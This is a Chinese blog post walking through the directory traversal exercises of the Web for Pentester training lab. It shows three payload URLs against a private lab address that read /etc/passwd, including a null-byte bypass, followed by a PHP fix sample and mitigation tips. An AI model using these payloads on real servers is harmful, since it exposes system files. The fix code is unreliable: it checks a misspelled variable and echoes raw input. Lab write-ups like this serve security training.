1. 程式人生 > >【滲透測試學習平臺】 web for pentester -3.目錄遍歷

【滲透測試學習平臺】 web for pentester -3.目錄遍歷

線上 ini blog etc col tdi jos turn bsp

Example 1

http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd

技術分享

Example 2

http://192.168.106.154/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd

代碼會檢測是否包含/var/www/files/字符串

技術分享

Example 3

http://192.168.106.154/dirtrav/example3.php?file=../../../../../../../etc/passwd%00

使用%00截斷後面字符串,讀取passwd文件

技術分享

修復方案:

修復代碼示例:

<?php  
function checkstr($str,$find){  
$find_str=$find;  
$tmparray=explode($find_str,$str);  
if(count($tmparray)>1){  
return true;  
}else{  
return false;}  
}  
$hostdir=$_REQUEST[path];  
if(!checkstr($hostdir,"..")&&!checkstr($jostdir,"../")){  
echo $hostdir;  
}
else{ echo "請勿提交非法字符"; } ?>

修復方案:

過濾.(點)等可能的惡意字符:這個試用於能夠修改線上代碼,最為推薦的方法;

正則判斷用戶輸入的參數的格式,看輸入的格式是否合法:這個方法的匹配最為準確和細致,但是有很大難度,需要大量時間配置規則;

php.ini 配置 open_basedir:這個參數值得的是用戶只能訪問的目錄,作為不能修改線上代碼時的備用方案。

【滲透測試學習平臺】 web for pentester -3.目錄遍歷